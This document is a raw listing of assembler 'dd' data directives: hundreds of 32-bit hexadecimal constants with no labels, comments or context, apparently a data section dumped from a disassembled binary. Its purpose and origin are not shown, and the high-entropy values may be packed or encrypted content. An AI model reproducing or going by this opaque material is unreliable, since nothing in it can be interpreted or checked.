dd 0AEA408FBh, 80EDD10Bh, 0A777AC55h, 40839820h, 5055F0Bh
dd 3A4823C5h, 74134B8h, 0AB2AF021h, 0A46E2279h, 133E164Dh
dd 0DF68174h, 460EFA19h, 7E71C6DCh, 81855FF0h, 7053F7Bh
dd 5C7DC1DEh, 8EE1004h, 0C57788D2h, 0E2338100h, 9109459h
dd 0EA6685Bh, 9F805D44h, 0F1266471h, 7F137C0Ah, 0EB51FBBDh
dd 0E83456D0h, 27AB554h, 13AA509Dh, 0E18D70D6h, 6C30E4F7h
dd 0E92C36F2h, 1BA4C4CDh, 1F32D14h, 55B25251h, 0CB6FD328h
dd 78321695h, 0BA96E6B3h, 27588F8Ch, 19FFB668h, 1CEBA667h
dd 0CE04E56Fh, 938F94EDh, 0CE0560A4h, 0EDA14AD6h, 8C2A986Fh
dd 9F587140h, 77141075h, 0F3B9A38h, 741251F8h, 1CA6A8E6h
dd 5A4D097h, 3295E38Fh, 0E4B6F131h, 46FC7EE4h, 0C1FC294Ah
dd 45B0840h, 391BCB05h, 400ABC2Dh, 874E5F07h, 0DBED8BBh
dd 6B14AFD3h, 1A951728h, 80450AFh, 0C0A9C04Fh, 6100EC66h
dd 0F37FC735h, 24A42D59h, 3A4AE8FCh, 876EE5A6h, 66C386D3h
dd 0D19F08C0h, 2EF5C21Fh, 0C302410Ah, 0C049DE2Bh, 4DA6FC49h
dd 0A413EA9Ah, 0D890A598h, 5751D013h, 9F0E2BB6h, 6851205Ah
dd 9F263F04h, 6AE04AE2h, 8216355Fh, 0E8138640h, 25A4CBABh
dd 0CE605DEFh, 0E916D701h, 80EDF925h, 0D15CE300h, 62B9513Ch
dd 9C7E0926h, 1E2CC100h, 27E9A17Ah, 0C5445D9h, 64BD064Fh
dd 7F679D7Bh, 0E90B2BA9h, 98FD8F7h, 72EA6845h, 12098166h
dd 8546886Ah, 2BD9DB08h, 0F6029B11h, 50BE1681h, 0E8A563E0h
dd 7BF5DAFBh, 62556DCCh, 8685603h, 3D534675h, 0B32F56B5h
dd 0FA398148h, 8FF7F5C7h, 294A96E0h, 5F75C2F9h, 5CF65CE9h
dd 0FDBEF587h, 0EB21FAD0h, 0D529C5Dh, 0EA21200Bh, 8010D855h
dd 162324D7h, 0F04D3F7Eh, 216D8CDh, 57E01E60h, 202F315Ch
dd 0E921300Ch, 0CD503B36h, 3BA94108h, 8708B509h, 0A7925104h
dd 0B69055F0h, 735B3D68h, 5DF3768Ch, 2D046C4Ch, 0E87A8C62h
dd 0E955C113h, 5073F8DFh, 313A680Bh, 6F5465D2h, 3298EEE8h
dd 5E5AED1Ch, 96A956D6h, 89EC0841h, 15E918EAh, 0D0BB32DCh
dd 78536B18h, 4B4205D0h, 1853C0F0h, 4F48331Bh, 7040125Ah
dd 0C87AC88Dh, 57956C3Eh, 3D4D612h, 0B23C7082h, 8C108701h
dd 0D27BC292h, 83D298FCh, 49DA260Ah, 0E0CBA224h, 7646BF25h
dd 6A54DE9Dh, 788B02B9h, 0FA607EF0h, 840433C7h, 0E7C3E94Eh
dd 0DE6EF8EAh, 0D0AE7193h, 5A4D2920h, 0E1011076h, 6E744FF6h
dd 0D13BD9F7h, 358A7A5h
dd 6C641C5Fh, 0EB30D278h, 50EBFC16h, 0BD790B9Fh, 0E5499BECh
dd 0F7400E5Ah, 2F4B7ED0h, 28982052h, 10E0659h, 1C4F1D35h
dd 0C1E80D7Bh, 9361F21Bh, 5F8A6E19h, 4C590F3Eh, 2CC22B10h
dd 55AF2629h, 0EE5DEE84h, 0BEF166ECh, 0DF902F40h, 3B0F50F5h
dd 0E50F37CEh, 187B3266h, 0D1867B0h, 221DD8B7h, 0ED02A4E7h
dd 687D1BF4h, 10274331h, 490A7A1Eh, 0CB503CBFh, 0B65500EBh
dd 0BBEE8058h, 213FCEE6h, 7AB49C66h, 0BBFE61Dh, 825AF528h
dd 0EB884Fh, 0B04BE95Bh, 0D2661B9Dh, 0CD94D7E4h, 26D2F4B0h
dd 83A538EBh, 1677DAF7h, 8019B63Dh, 929162Dh, 0FB97D831h
dd 475D4954h, 6DB82FD7h, 669FE368h, 9C8C80C4h, 9E8082DAh
dd 3EAE0467h, 0B9533F6h, 25ADEC8Fh, 3690BAFh, 5EF3C8FEh
dd 286F169Fh, 8286C133h, 5D744267h, 0FBF66B8Bh, 6D7C9ED1h
dd 16CDAC50h, 129FC1Ah, 0BD050F12h, 0A30C8219h, 5F501B45h
dd 882FED8h, 796C7840h, 0E94C6904h, 0A6EE3494h, 54247BF6h
dd 0FE525255h, 0D57B88BEh, 892B4E6Dh, 0B9B82E8Fh, 0ADF0FC96h
dd 0FEEB8089h, 0E1A6CE45h, 364E7501h, 0B970215Dh, 780E6060h
dd 0D94B18BDh, 6AF9794Fh, 1E90861h, 0BE8DFFFDh, 5E82C9DCh
dd 6D7A4C0h, 0EE5CA476h, 17DA736Ch, 15F0F7B7h, 3E07F381h
dd 0C3C6E64Fh, 0E7D16FEEh, 0F5DDB3D2h, 61F5E146h, 0F2958282h
dd 407DE739h, 5C479FC1h, 5A278A7Bh, 3FBF5840h, 17B40300h
dd 58956855h, 0DE0E4D10h, 3245EB1Eh, 23C84D60h, 705AB868h
dd 0E2AAE524h, 7F8D8463h, 9403AA12h, 0D902E344h, 0D7BDEC4Ch
dd 7E6E1089h, 0B2013F7Eh, 5136E12Ch, 0BABA883Eh, 98B4D2BDh
dd 37D4147h, 0C98856BBh, 720B3534h, 0D7CE10E6h, 58B44265h
dd 271BADBEh, 226B8FD8h, 6159CB31h, 0F73043EEh, 0B905F724h
dd 0B6520292h, 7017B00Fh, 0C7142599h, 540B546h, 0A7443999h
dd 0E9D80104h, 0B8AD953Ah, 0FA2718h, 286004D5h, 0E42C74E8h
dd 2DC7BD93h, 2836C06Fh, 0C4B753D8h, 0BF5BF80Ah, 92981572h
dd 785857B1h, 583E6EB5h, 6DA30DF2h, 6227AF94h, 4132282h
dd 0C1DA83F6h, 8053FE0Bh, 608C0FE6h, 0E901245Ch, 0CD429572h
dd 6186CE7Dh, 0C58051A7h, 0D7EDCC01h, 367C073h, 0A9F4D64Ah
dd 0EAF83CE1h, 98D07301h, 0BC4C25D9h, 0A4AF6AD3h, 0F090B920h
dd 0C47C6768h, 0BB66DC69h, 55C51334h, 0DF83844Bh, 5854F182h
dd 5FFD8901h, 0FCD9570h, 1BC93373h, 0BFFCD7E5h, 0E6924CA2h
dd 0D3C209B4h, 7BEC5DFEh, 9F7AD120h, 0C640597Eh, 4AD8448Dh
dd 0B4C4AF61h, 1EE90802h, 3C54D9D5h, 0C181682Ah, 6401A492h
dd 3D8306Ch, 12EB4844h, 4A905E0h, 12593D80h, 11D504AAh
dd 0A9601321h, 0BC6E9F68h, 81126B30h, 7F6484F7h, 0AC674C53h
dd 5303551Fh, 3313FBBh, 0B6682030h, 0BE6941EAh, 49A351B0h
dd 0AD44F357h, 6E9FFEE9h, 0ECBF71C4h, 348DADC4h, 2E1980BAh
dd 0BA91A0A0h, 0E1C02DE3h, 0CF37C058h, 31E27688h, 40D7B27Dh
dd 9428B24Bh, 0C3769430h, 0EAE1EE92h, 305B36A4h, 3F5B836h
dd 354E910Dh, 0C5FC0BF1h, 0EE3BFF2Ch, 97FE4A3Ch, 0BDB93CC8h
dd 80695782h, 41D86FEAh, 2B0B4105h, 877505BAh, 0B59AB91Ch
dd 682C1BF3h, 4F5262C2h, 276CC575h, 39341E75h, 6882E1F7h
dd 0B4E9761Bh, 5B2DE150h, 6CA7FC59h, 72965432h, 0F749EC89h
dd 0C84B5113h, 11997CFAh, 28EC15Fh, 463DFB4Bh, 89AEBC6Eh
dd 57D35F5Ch, 60B0F549h, 0D54F29E9h, 0FD728BD7h, 68D3A181h
dd 8C2A19F9h, 0EF4B1097h, 5925A0B7h, 200AEDDDh, 0E93C5532h
dd 6B965B00h, 0F15D5AB4h, 20EC3BB5h, 57CCF102h, 0C94007ECh
dd 130931E8h, 1CB2968h, 0FF333A58h, 0F78F2247h, 0A5B8B740h
dd 9D65083Fh, 0E6E4807Fh, 58862E89h, 5F105E71h, 5EBE4E78h
dd 0C0839629h, 11CF8148h, 6386181Dh, 3A97E780h, 69E921AAh
dd 2218E2CDh, 0E59FD045h, 84311029h, 0B306BC5Fh, 0F1CD60F8h
dd 2230E0C0h, 49204E2Ah, 657D5B46h, 886665B0h, 0F097F93Fh
dd 8002B062h, 0C00AB649h, 4B7FF63Bh, 88926BBEh, 8560CCF3h
dd 7ECEF924h, 0F5C9C2C9h, 8F4B77C6h, 0E984CFF6h, 3A63B1FCh
dd 68D542FAh, 83514236h, 74196B89h, 0F55B514Eh, 54F33FBEh
dd 6E38BA6Eh, 56B75E57h, 0BF206F90h, 5AB71663h, 0FCD7F72Eh
dd 96E44316h, 0D3500407h, 0B925682Ch, 62F6851Bh, 0C091B3FBh
dd 54634E14h, 182D3D40h, 0AC7D7096h, 2F9F4848h, 12CA40Dh
dd 6CAF3458h, 317C00B0h, 0C9042590h, 65473CFBh, 0EEFE4F81h
dd 0C017CC0h, 1F39E9C8h, 6003E27Fh, 0C17B7E69h, 0FA6014EAh
dd 0D7016078h, 96B3974h, 36CAF4D9h, 838203B4h, 0F47C8F7Bh
dd 3A298844h, 8002C32Eh, 0D537255Bh, 0AE56A684h, 0F30338F2h
dd 364A4B45h, 0D2A1AEFCh, 5CF14CC4h, 0E73A411Fh, 20C6F12h
dd 4F7B490Eh, 2CFC39C1h, 16BE4BACh, 824AF822h, 0C0F855D9h
dd 80382AE3h, 0DD60F75Dh, 0EFF58104h, 98B3001h, 4A5F9E0Ch
dd 4AE0595Ah, 4E56B542h, 4FE8CF0Ah, 47146201h, 0A0A5570Ch
dd 137998DCh, 5B0F8478h, 430410B0h, 2F2CB7FCh, 9539E652h
dd 0F8EB357Ch, 6FAB45BAh, 39F4E121h, 0D4CF312Eh, 83A72B05h
dd 0E2BB2F84h, 0E53E8ABDh, 34E4EEAFh, 0EBBCBA67h, 1EBE78C4h
dd 0BC654C21h, 0BD69E48h, 12705FAh, 0F8DFAFBh, 0D21D8E1h
dd 31C30810h, 585B060Bh, 729F07E9h, 8041B705h, 0E5C71FEFh
dd 0E7C3F6B5h, 36AF9437h, 52E6FE59h, 0C296ADB6h, 0FA3FC4AAh
dd 0B64E2302h, 0C11EE229h, 536D41D9h, 79788305h, 0FED1AB4Dh
dd 0CDE08A73h, 0BA992AE9h, 97F77979h, 555B9A77h, 0E984047Bh
dd 70ABC75Ah, 412C687Ah, 0CD0A019Bh, 0A2259AB9h, 5480B3CAh
dd 2304018Eh, 72858FE9h, 50701C8h, 834B4AFCh, 0C31402DFh
dd 0E62FE1CDh, 2535E777h, 0E4AA82B0h, 0DA15EB9Dh, 528009ADh
dd 7C7E3533h, 0C400EE90h, 490FDB30h, 29E94091h, 950C55Bh
dd 4D836856h, 0CCFA54B6h, 0BB0079F8h, 4C931443h, 187CCAB8h
dd 0C631533Ch, 5D00560Dh, 0C43546E8h, 9738923Fh, 3C400BE2h
dd 82FDD108h, 2F324784h, 0F57FCA70h, 0CD3E1878h, 292D8578h
dd 0EAC559C8h, 0E92FA0FFh, 5A05C427h, 0E32662BDh, 5C5423D4h
dd 734BA54Fh, 0C267B761h, 50ACEF04h, 47F8BA1Dh, 0F24A58BDh
dd 135E0D66h, 0EB07BEA6h, 0E97F9731h, 0B56F7829h, 681A3B10h
dd 0C7961783h, 3A29EE02h, 0E984BB38h, 40E3896Bh, 7D3B6866h
dd 4F184164h, 2066A517h, 0E5BD0CA1h, 45552770h, 85E98BB5h
dd 0EB92DA5Ch, 2A68DDF4h, 298809A4h, 25F3B679h, 0CA64A744h
dd 0FCABEAB6h, 0CEE90C80h, 7C777B3h, 2CC57D80h, 6F7CC259h
dd 68167C46h, 86F31B8Eh, 0BAEB8817h, 9D482FCEh, 5E8E8725h
dd 0D1B859A4h, 685AD6B4h, 0EF85A456h, 0BC2643C8h, 0D589095Ch
dd 0F178080Bh, 0A1C8BA4Ah, 3D1B5FAh, 0B4E17470h, 17686116h
dd 0F5A66F0Ch, 856DD92h, 7E9DDAF8h, 0A55E67D1h, 68CCE015h
dd 703D5DF0h, 0A89E1717h, 8D9E7AEDh, 7A147216h, 0F30CAD9h
dd 0FD40D3B7h, 60AA93A6h, 1B68DEBEh, 4CD84350h, 7C716314h
dd 793401E7h, 5E913CEh, 5F370678h, 944C943Bh, 23DDAA73h
dd 0C642B1F4h, 79DA308Bh, 8B482EF6h, 0C180A13Ah, 5D25DC42h
dd 4BC00E1Ah, 0D124594Bh, 1B1D1622h, 0F728B982h, 1C27EDFh
dd 68451EEFh, 0DAC62ECFh, 4F8406ACh, 40416D3Ah, 64057200h
dd 0E9F93152h, 0FEEF2D4Eh, 0DD78A0DCh, 0C7808088h, 0DFF69B1Eh
dd 5495E189h, 3887BCA6h
dd 606B961Dh, 2748BDE6h, 200B655Ch, 0B1511214h, 20E1D14Eh
dd 0FCE67A29h, 633B9060h, 99B061EEh, 3E593440h, 7570EB80h
dd 16C375F3h, 0E92A685Ah, 3FC10C5h, 5DEF290Dh, 88B87AF4h
dd 0C2D50C6Bh, 635FC194h, 93C1E23Ah, 5819B3E6h, 0F7C3E364h
dd 3E0AC0C1h, 4BDBCBCCh, 7421ABC2h, 0E83FA09Dh, 0BFE97BBh
dd 6F61AE7Ah, 66EC3E2Dh, 217D052Dh, 35E9D8BEh, 0EBC1B275h
dd 0B5DA3FDCh, 257FDB2Ah, 4A83E37Fh, 8FC6FF0Ch, 7F1D20C0h
dd 7CD6F732h, 0F8310454h, 0DFAC325Eh, 8951DD87h, 340268C1h
dd 0E9A8607Ah, 53BDAEA1h, 0FE5098E2h, 5943D79h, 0AE5B5483h
dd 7A46D977h, 0A35C402Fh, 817ED26Fh, 0DA7F234h, 0F9E1D0C4h
dd 0F1A9B07Eh, 26FD18B5h, 2714B20Fh, 51B16F27h, 0CBCC3A3Eh
dd 1219383Bh, 8606BA82h, 0BB421449h, 46AF877h, 89E9C229h
dd 4FBFD52h, 0AAD5D65h, 68D894C2h, 0FBDF5C4h, 29436427h
dd 5AB2539Fh, 29774A37h, 0F616D7A7h, 4EA42F73h, 83B992Ah
dd 0C6E48795h, 0BF70FB30h, 1CE0174Dh, 1746ACCCh, 75F8EFD1h
dd 4C48210h, 4BA76858h, 0A6198CEFh, 0A3F46C41h, 9E39B58h
dd 36D53408h, 5266170Ch, 0B1796050h, 8409B08Ah, 7CD656E9h
dd 81088010h, 9B7BF5CBh, 0B879647Eh, 687BC392h, 10557213h
dd 55274F1Dh, 0C7A1A83Eh, 9DB204B5h, 0D2D1A74Bh, 0E53B23FCh
dd 0BFC975CEh, 0BB0D6971h, 0F3E05F03h, 2BF50129h, 1EB9CCB0h
dd 6D2AAA02h, 0C13C2255h, 0C7AD05ECh, 7C86836Ah, 0AC57C33Fh
dd 8180B298h, 91561BEEh, 10A4C14Ah, 302E771Eh, 0E4391C53h
dd 41B48A1h, 7A023541h, 0EA2898A8h, 0A7E91308h, 46CF4C1Ah
dd 1E2E6A8Ch, 4F0B4D99h, 9F9164F9h, 0BBCF9B0h, 3DFE2BFBh
dd 28F86E9Eh, 4203012Ch, 5C04D095h, 887E76B5h, 66BF44BAh
dd 61CAA1C8h, 7A552FEh, 0EC2B7AEFh, 0E02CC52Ah, 0B4CB39Ch
dd 30620F98h, 7569EDDh, 19088140h, 4A5D533Dh, 0B170FC87h
dd 5F72CF02h, 971EEE4Fh, 52EB40D7h, 7ECCA1AAh, 0EF4CA8FCh
dd 5EA4B44Fh, 0D0EF8929h, 0D61D3109h, 0ED0C624Eh, 659880C6h
dd 0F5208A7Bh, 5A5F2820h, 579405CAh, 8956512Eh, 0A8F184h
dd 176E4B68h, 0EC5B9208h, 71634C5Fh, 0E962ECF9h, 2631674Dh
dd 1E0249ADh, 0E32ADD24h, 0DEC3F16Dh, 83BF1C82h, 6B40D353h
dd 541DF7CFh, 84BA3FCEh, 63FA796Ch, 92048C2h, 52AC897Fh
dd 895D1661h, 9A3F302h, 9123F3E9h, 0B2FFC881h, 935EC06Ah
dd 6F3E285Fh, 623F05CDh, 0BA89DA3Dh, 0D12DD48Eh, 66CEEDA0h
dd 40480E65h, 43EC065Ah, 6F865193h, 0DC6123BEh, 6E1C5B56h
dd 97E874E0h, 0E6884B82h, 0EE23DF90h, 10FCC181h, 28C87A31h
dd 0F21DFA3h, 76687D93h, 2D03A8B3h, 8702FDB8h, 66FDC329h
dd 21E926ADh, 84CB2D2h, 0C71F3B40h, 803B4781h, 3ABB5307h
dd 64F83E00h, 4542E381h, 834A50CCh, 270E14CDh, 0C606AF1Fh
dd 0C298B74h, 9506B20Ch, 4A034248h, 3CE48356h, 0E94D609Fh
dd 0C3C7FDC5h, 668307EAh, 0BE7402E5h, 497B6778h, 0A74CFDh
dd 7EDE7D6Fh, 8827F825h, 6AE93B09h, 27B8E50Eh, 0F7D9B2D5h
dd 8A905F14h, 0E7759A09h, 0F45C4Dh, 94C300Bh, 0E569D9E9h
dd 144ADD98h, 0E0310688h, 607D34B8h, 0D0AB324Eh, 0B7350206h
dd 3367E016h, 16AEEAB4h, 0D922AC29h, 0D3E2173h, 43953F0Dh
dd 40BCCEAEh, 7C7A0FC1h, 32F9195Eh, 6335F207h, 0A402AF32h
dd 935E2A74h, 6930C600h, 17E94350h, 20FEBCB3h, 2E4732D8h
dd 4F687B09h, 62B55E06h, 9574183Dh, 0B60F2A60h, 0E281383Bh
dd 378760Eh, 7ACFCAC0h, 42131390h, 36535FE9h, 995ED6ACh
dd 0FFB87B9Ah, 8CE292h, 3E6D2A76h, 0E8AE681h, 0D11E6072h
dd 0A2500FD2h, 29E93AF8h, 0BB43154Eh, 0ECF5201Ch, 0DA983580h
dd 0EE134ADCh, 38C2E9C0h, 5066605Dh, 9702B6EAh, 96E50C5Bh
dd 801C0806h, 552EE914h, 0D22F88CCh, 2AE84E83h, 680740BDh
dd 53BF79A9h, 48B2E95Eh, 1385F732h, 230993Bh, 0A1634D46h
dd 6BE92EC0h, 0C34A0500h, 0C159CF31h, 300760EFh, 48122822h
dd 0E1690CC0h, 5689345Bh, 98588FFAh, 20F64111h, 0C860252Ch
dd 6AFFFE6Ah, 6682DF3Eh, 0EB0E84B5h, 491ED6C5h, 2A3827E9h
dd 0AE4F73B6h, 4AF0DC5h, 0E83B8004h, 0A29D8960h, 5FF02128h
dd 5DA519F3h, 31087131h, 60D0C92Fh, 6880E585h, 90439FD3h
dd 895F63D1h, 59C7215Ch, 8DF49BAh, 7202F03Ch, 0D73A06D8h
dd 39BA2FAEh, 99FA7E43h, 0FC6FB956h, 0BA50B116h, 41E45BACh
dd 0F75312A8h, 588EF33Ah, 1B711203h, 0B5E0F9ECh, 0F50B801Eh
dd 46EF3056h, 7BF7F612h, 4FF86B06h, 6AB0E00Fh, 0F70177B4h
dd 23135690h, 0CBC4F131h, 89280279h, 7058E9F8h, 0F2F24655h
dd 520BBFB7h, 57A5A3C7h, 4FD36D93h, 5BEBB11Fh, 0C36C25Eh
dd 667724F8h, 6F280033h, 0D1410DC6h, 65E1FCF9h, 2AAF4C1Dh
dd 0F49004BCh, 5BAA30Fh, 0FE5E6839h, 1CD3FA67h, 94A86FBh
dd 3F8D22EAh, 26B07Eh, 811732Dh, 680490CBh, 5BA3450Bh
dd 4E9AE110h, 0FAEB282h, 0FEB03262h, 67CD5957h, 1C38D0F3h
dd 7CC15011h, 35653236h, 133FB480h, 0E1C17A19h, 5BB064Ch
dd 8E41C667h, 99A1C2AEh, 3608AAABh, 0C9984AF5h, 99EAA3DDh
dd 1281717h, 401C16C1h, 880BB785h, 0CCEE5BFCh, 86C4801Eh
dd 4BC47C25h, 6104506h, 0E8F0015Fh, 6BDEBE9h, 0FECA58BCh
dd 0B266E8Bh, 0BE5D9694h, 0ED6E452Dh, 19DA04AFh, 15832096h
dd 0C40D5BD6h, 0E920F007h, 940D865Bh, 0C17A4729h, 3EB1016Ah
dd 63085392h, 99ABACD3h, 0D211A735h, 9B3B11Bh, 49D9FFE1h
dd 27BFC243h, 0B9FB5916h, 0E7E6FB0Bh, 0FC792F4Ch, 596EEA80h
dd 37E90380h, 6961B1DBh, 0DF652975h, 0A1687248h, 0BB311B5Fh
dd 2B4857BDh, 0ED583F7Fh, 0D8A9BD78h, 0CB01CAD9h, 1E152FD4h
dd 13061820h, 86AEF2Eh, 1044C86h, 0B8BF2DF8h, 0FD0525EDh
dd 0BFD4F7C3h, 0D95201BCh, 0ACBA910h, 0BE8285Bh, 2CE0108h
dd 5041AEBAh, 2EE3B461h, 0DEFE7E84h, 0F8B8163Dh, 46F40A89h
dd 0B04C9A6Ah, 48F125AAh, 3F56055h, 11199F01h, 0BD4581ECh
dd 62F436CCh, 0C3867AE8h, 28BCBB24h, 78F757DAh, 0B04B72A2h
dd 0B14E13D5h, 172804BAh, 6EE614D4h, 0D2520F4Bh, 41F0F1BEh
dd 617CD0A6h, 0C6E42AF8h, 80219659h, 69B55F9Ch, 669F5429h
dd 80C8277h, 5A172114h, 34E67408h, 0A6F8BB66h, 80752041h
dd 0BFF4846Eh, 2EA90AA8h, 6AB329FAh, 0DBC4D664h, 5F6DEEC2h
dd 0B282ECD3h, 7FD3288Eh, 0E916A56Ch, 0CF5CFF5h, 0A7DF62DCh
dd 7A73EE2h, 2D488400h, 0CA2593A2h, 0EBE07FB0h, 650231CDh
dd 0ACE92752h, 0FC9DA7Ch, 60045C29h, 0E938C664h, 37FB5F48h
dd 34CFE21Ch, 281209D1h, 40B0AFB4h, 0DC955AADh, 36EE0243h
dd 3EE02D54h, 0FD125553h, 3C80D101h, 487D4912h, 160637A9h
dd 1E68476Eh, 2508C6D0h, 17B8755Ah, 0F0B2015Ch, 931E7931h
dd 7A81DD29h, 0E564D2BFh, 1EFE6960h, 0A94591A8h, 2CBAFE01h
dd 5E48F0CBh, 0C1BA9605h, 81DAE915h, 0C069B4FFh, 0E07E05ECh
dd 11E680E6h, 3276CCE6h, 96F970F9h, 0C65B2DCEh, 588F383h
dd 595320BEh, 4B54A075h, 0C1257968h, 0D34C163Ch, 52C2CA9h
dd 0FDCF39AEh, 0C29C046Ah, 80EFE272h, 199EE9F4h, 0B57274B5h
dd 38DF04C5h, 8F5BF34Dh, 0CA3CE452h, 0E5E656D0h, 210F3D61h
dd 0BDCB0C92h, 804F27A7h, 0F6814E39h, 7E2018A9h, 491C0C4Ah
dd 0F8476425h, 1E4B3Dh
dd 3482687Ch, 0E1970638h, 5A0009E7h, 210FE581h, 9E799E4Bh
dd 0B218A298h, 0F28012FBh, 0CA06FBFEh, 0B704292Ch, 0C635054h
dd 77ABCFF7h, 680718E5h, 7F0B6A92h, 290AADEEh, 8CDEE9C6h
dd 5A881FBFh, 5E0B9AAEh, 2056664Eh, 1285CB4h, 2F2D9AC5h
dd 855E92D5h, 0C2851F76h, 75B9A249h, 5C772ACAh, 82D5251Ah
dd 0A433E939h, 70FE899Eh, 152ABF80h, 906D8E2Eh, 0E66E2000h
dd 48CAE961h, 0CB9DCE4Bh, 1CDF2C6Fh, 0CB749538h, 65E91254h
dd 8BE3AE13h, 0B3141016h, 94F94FF1h, 0C4A0A272h, 5394865h
dd 0C717C580h, 3490B264h, 2598F49Fh, 5B2251F8h, 215A2745h
dd 75C61A55h, 0B4B7AC22h, 2C9DB348h, 8411BE32h, 6C4DDF9Ah
dd 0FB9AFD2Fh, 0DD685481h, 0C4F66803h, 104770Fh, 8429E2D3h
dd 4FB150E9h, 9B2F613Ah, 68AE48A6h, 0B50A342Ch, 874D0DC0h
dd 559FFA17h, 0BC2B0D5Fh, 8A67852Dh, 9BEE3ED4h, 1FC85B1Dh
dd 8647B073h, 7FAA8244h, 0D517A1E7h, 25406F08h, 0F33AE0F7h
dd 0E5DBE7A0h, 0D5C30900h, 76CBB050h, 0B5587028h, 782E9840h
dd 0F6F14EB5h, 0CD9F5AF8h, 64CFE52Ah, 0AEB805CDh, 0C13D1904h
dd 0FFC206E0h, 2040F2ABh, 7C9D8952h, 8D471ECEh, 2F20B38Ch
dd 9446292Ch, 34D72F66h, 85969770h, 71C226BEh, 9185785h
dd 0CCE0B305h, 59E80B4Eh, 3C5E0740h, 35DE6855h, 85D5800Eh
dd 0BD903D10h, 2594AB5Dh, 0BB7DC59h, 0F166796Eh, 3D0CF30Ch
dd 0B6A2F822h, 0F099273Eh, 233B21h, 0C1F702AAh, 0D4999B43h
dd 845D8777h, 0DA290E98h, 0AEAFF3E5h, 3579ECE2h, 0B11227D3h
dd 1FBF2E7Ch, 5EF78BB7h, 6E9CE81h, 3E233598h, 290BC5BCh
dd 0AC0959CFh, 0EFD4E9F5h, 58EFE83Eh, 0D14E25B2h, 0A52D4AF5h
dd 86583F5h, 0A227844Dh, 2A57F644h, 180E6438h, 55E7C06Bh
dd 0E8609272h, 2CDD02BDh, 0EF313DC5h, 40A4A74h, 0B644F7CDh
dd 0FFC60482h, 327C3CE0h, 8AF8555Eh, 916DE0ADh, 0F3887CC2h
dd 0DE5C5F5Ah, 9A5480C5h, 6ED22471h, 1CF92816h, 410D675h
dd 27F4358h, 560DC068h, 3296F07Bh, 736E724h, 6049761Eh
dd 8A95C0Ah, 20134BB3h, 0C07204ABh, 36A887EEh, 0BD507002h
dd 1CBF60C8h, 57AD81BBh, 0F3845539h, 4B06ED50h, 296104ABh
dd 8C2CAEDFh, 0C941CCh, 167EE1B6h, 0ED004390h, 0A7BF7C44h
dd 815CE4E9h, 8A286E5Dh, 0F554BF5Fh, 8492EFCAh, 40AFD957h
dd 46190DECh, 0E648C134h, 0A202D6Dh, 0F2A6D35Bh, 74BE3E0Bh
dd 61EBC266h, 18AB5A05h, 21BCCE9Dh, 0AC0F153Fh, 549FB787h
dd 606ECC7Bh, 3294350Eh, 48252589h, 0E00B0154h, 0F5828607h
dd 9E9E9870h, 44DAA7C7h, 57A9BF27h, 7B6CFC39h, 0F1E92430h
dd 4DE5BDE5h, 0E8431B13h, 0C2F1295Bh, 68AD498Bh, 0CEEF84EFh
dd 6F210943h, 56ECF51Ch, 0D95FA082h, 9B47B99h, 91F17F13h
dd 0DE82519Ah, 2BEB8109h, 21B31A5Eh, 5EAF2FB0h, 0CBCED8C8h
dd 3613F3C2h, 17B837E8h, 2CE07B4h, 0A1A049E9h, 0E64CBDBAh
dd 0D2F70F12h, 4A303EACh, 5A0D7146h, 4F7BC958h, 4177F69Ch
dd 0F4F3E9FCh, 4FBC88BBh, 8612CEA4h, 151315FDh, 0E431FAE3h
dd 0AD2B502Ah, 2997C433h, 0C38B5C0Eh, 51315300h, 7DB03DD5h
dd 16D7FEC8h, 9EEFC5Ah, 0DEE828D0h, 4A26BBh, 80C5B450h
dd 0E917ADE4h, 4333A2E6h, 0B353F866h, 35489032h, 88F6D5FAh
dd 0E6414618h, 0D377BC3Bh, 2AF92EEh, 0AD56AC0Eh, 0FDB400D9h
dd 45535507h, 320E3352h, 3C6C642Eh, 56444107h, 98495032h
dd 0FC544E0Dh, 0A54E34Ch, 0E985013Fh, 686EA0F0h, 16A0B112h
dd 0DE41D202h, 346640FDh, 3715C8A1h, 24A26F42h, 0A3B6212Dh
dd 24102312h, 81989A4h, 0FA5443Ch, 22B94284h, 0AF2D0005h
dd 0F2E1BE10h, 9C0079CBh, 56338536h, 0E83A7Fh, 9FF1CC0Bh
dd 795E5266h, 15F24400h, 0CEABFDBCh, 63B5000Ah, 196B5086h
dd 7F00850Dh, 58088799h, 0F2CB2ADh, 0C9EBE255h, 0AA02AEC0h
dd 92039553h, 0D1FDE413h, 77639270h, 2222440h, 0F057E500h
dd 441127C8h, 7D290092h, 0D7B2F625h, 9100BF1Fh, 0E52DD13Fh
dd 0B50B8DFh, 714E37D3h, 116B00F7h, 3E329705h, 0CD811BA0h
dd 37F430E7h, 0F33BDCFBh, 6BF8ED1Eh, 4D2A3DC0h, 1D893584h
dd 80519931h, 3A176952h, 41001F9Ch, 58A50EA4h, 5B23311Bh
dd 0C389C065h, 5406A619h, 0F615C77h, 0ECC9006Bh, 0A17ED0E9h
dd 35008736h, 0E3F4BCFCh, 0AB88DAh, 64419326h, 1CF94B74h
dd 0AF01BA00h, 2F151BA3h, 4396A088h, 12E10548h, 4BF7C4h
dd 31171D72h, 513BF1E8h, 0EEBB45h, 0E68682E2h, 0EA38A57h
dd 40993D48h, 80C86020h, 9A0125B3h, 6E4D8552h, 86D82F3Fh
dd 5F12007Ah, 595CCBCFh, 80315C1h, 51373DCEh, 65803BA4h
dd 8131E680h, 0CD6CDD12h, 98573500h, 3B3EA587h, 0E2432D51h
dd 9646E200h, 0FA00D729h, 0B592E4D9h, 4C9E1Dh, 153666Fh
dd 0B80AB324h, 77397F01h, 2E0B5D60h, 0C45A20h, 7CCEF1E7h
dd 3284379Fh, 989E260Ah, 0C68483B2h, 3E2364CBh, 13DB23E8h
dd 5F5445ECh, 0C5FA7384h, 0E04ADF6Eh, 0FDC216F3h, 0CC360065h
dd 0F8A417BFh, 0D101ECEBh, 4D0DF125h, 42C0146Ch, 0F3E200AFh
dd 93C21AC6h, 0EE043E27h, 53C0FEEDh, 0D7D193h, 17ECA57Dh
dd 0E0390740h, 0DDA94500h, 0F4C81F86h, 0C37E97h, 9C2A4E8h
dd 754C51F2h, 39FFB81Fh, 2E5DDA40h, 7708B323h, 0F6C18B6h
dd 5BF3CEC2h, 3B0D1309h, 8073097Eh, 0EEEAB761h, 0A77F07D1h
dd 0F61E70D0h, 2C7D689Ah, 4A558400h, 7785318Eh, 0CEBFA923h
dd 439048h, 0B4605D76h, 0B5232D5Ch, 0BBC10906h, 6210A8h
dd 0AB0EC794h, 0F478A7FFh, 0AD84CC1Fh, 0D4D12C80h, 4F389F48h
